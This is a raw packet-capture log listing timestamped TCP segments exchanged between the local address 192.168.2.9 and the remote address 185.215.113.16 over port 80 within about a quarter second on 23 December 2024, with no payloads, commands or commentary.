Dec 23, 2024 17:16:46.458488941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.458517075 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.458550930 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.459216118 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.459300995 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.459335089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.459371090 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.460052967 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.460097075 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.460148096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.460194111 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.460863113 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.460906029 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.460987091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.461024046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.461816072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.461858988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.461951971 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.462007046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.462538004 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.462579966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.462654114 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.462686062 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.463375092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.463428020 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.463447094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.463521957 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.464175940 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.464212894 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.464241982 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.464282990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.464987993 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.465029001 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.465336084 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.465367079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.465801001 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.465836048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.465893984 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.465924978 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.466622114 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.466655016 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.466779947 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.466809988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.467500925 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.467538118 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.467549086 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.467600107 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.468246937 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.468287945 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.468316078 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.468353987 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.469095945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.469134092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.469197989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.469229937 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.469891071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.469932079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.470053911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.470089912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.470726013 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.470765114 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.470784903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.470817089 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.471544981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.471585035 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.471626043 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.471668959 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.472342014 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.472378016 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.472431898 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.472470045 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.473203897 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.473241091 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.473315001 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.473350048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.474019051 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.474051952 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.474126101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.474160910 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.474818945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.474863052 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.474896908 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.474936008 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.475637913 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.475681067 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.475728989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.475796938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.476475000 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.476516008 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.476579905 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.476630926 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.477308035 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.477431059 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.477528095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.477561951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.478143930 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.478197098 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.478251934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.478286982 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.479053974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.479095936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.479274988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.479321957 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.479840994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.479881048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.479902983 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.479938984 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.480551004 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.480592966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.480652094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.480689049 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.481386900 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.481431007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.481462002 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.481529951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.482209921 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.482251883 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.482285023 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.482321024 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.483019114 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.483062029 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.483093977 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.483128071 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.483844995 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.483880997 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.483920097 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.483953953 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.484786987 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.484827042 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.484940052 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.484972954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.485491991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.485541105 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.485568047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.485599041 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.486291885 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.486360073 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.486361980 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.486398935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.636209965 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.636276007 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.636301041 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.636324883 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.636538029 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.636579990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.636631012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.636667013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.637419939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.637456894 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.637530088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.637568951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.638430119 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.638468027 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.638549089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.638586044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.639075994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.639096975 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.639117956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.639139891 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.639843941 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.639885902 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.639909983 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.639940977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.640635014 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.640676975 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.640825987 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.640861988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.641453981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.641494036 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.641554117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.641587973 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.642270088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.642312050 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.642343998 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.642379045 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.643125057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.643166065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.643186092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.643219948 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.643930912 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.643971920 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.644140959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.644181013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.644721031 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.644761086 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.644826889 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.644865990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.645540953 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.645581961 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.645632982 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.645669937 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.646413088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.646456003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.646568060 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.646637917 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.647195101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.647248983 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.647332907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.647370100 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.648101091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.648144007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.648170948 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.648207903 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.648951054 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.648993015 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.649022102 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.649056911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.649696112 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.649736881 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.649815083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.649847984 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.650476933 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.650515079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.650563002 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.650595903 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.651283979 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.651326895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.651387930 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.651418924 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.652157068 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.652189970 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.652241945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.652281046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.653002024 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.653038979 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.653074026 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.653105974 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.653757095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.653795004 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.653852940 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.653892040 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.654644966 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.654681921 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.654721022 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.654752970 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.655400038 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.655440092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.655499935 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.655535936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.656238079 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.656277895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.656357050 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.656385899 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.657047033 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.657082081 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.657172918 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.657226086 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.657860994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.657896042 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.657968044 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.657999039 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.658642054 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.658675909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.658782959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.658814907 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.659657955 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.659693956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.659756899 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.659786940 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.660372019 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.660403967 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.660584927 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.660617113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.661293030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.661325932 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.661398888 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.661431074 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.662017107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.662058115 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.662098885 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.662132978 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.662796021 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.662843943 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.662915945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.662954092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.663599968 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.663640976 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.663742065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.663779974 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.664448977 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.664484978 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.664534092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.664562941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.665345907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.665388107 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.665425062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.665455103 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.666078091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.666121960 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.666204929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.666239023 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.666902065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.666944981 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.666996956 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.667046070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.667756081 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.667793989 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.667927027 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.667967081 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.668582916 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.668622971 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.668668032 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.668699026 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.669320107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.669358015 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.669421911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.669456959 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.670186043 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.670258999 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.670264006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.670296907 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.670996904 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.671032906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.671108961 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.671143055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.671798944 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.671907902 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.671943903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.671973944 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.672574043 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.672652006 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.672686100 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.672720909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.673413992 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.673459053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.673513889 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.673551083 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.674261093 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.674340963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.674375057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.674408913 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.675072908 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.675110102 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.675190926 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.675225019 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.675905943 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.675951958 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.676052094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:46.676093102 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:46.676753998 CET	80	49730	185.215.113.16	192.168.2.9
